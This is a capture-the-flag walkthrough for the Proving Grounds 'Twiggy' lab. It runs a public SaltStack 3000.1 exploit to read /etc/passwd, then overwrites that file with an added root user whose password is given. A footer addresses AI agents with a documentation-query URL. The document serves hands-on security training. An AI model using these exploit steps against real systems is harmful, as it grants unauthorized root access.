# Twiggy

### Enumeration

```
8000/tcp open  http    nginx 1.16.1
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: nginx/1.16.1
|_http-title: Site doesn't have a title (application/json).
```

```
In headers:
salt-api/3000-1
```

Saltstack 3000.1 - Remote Code Execution&#x20;

<https://www.exploit-db.com/exploits/48421>

### Access

```
$ pip3 install salt

$ python3 48421 -m 192.168.171.62

$ python3 48421 -m 192.168.171.62 -r /etc/passwd
```

Copy contents of /etc/passwd output to passwd

```
$ echo "cel1s0:\$1\$ignite\$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash" >> passwd
```

cel1s0:pass123

```
$ python3 48421 -m 192.168.171.62 --upload-src passwd --upload-dest ../../etc/passwd
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://cel1s0.gitbook.io/offsec-notes/walkthroughs/pg-practice/linux/warm-up/twiggy.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
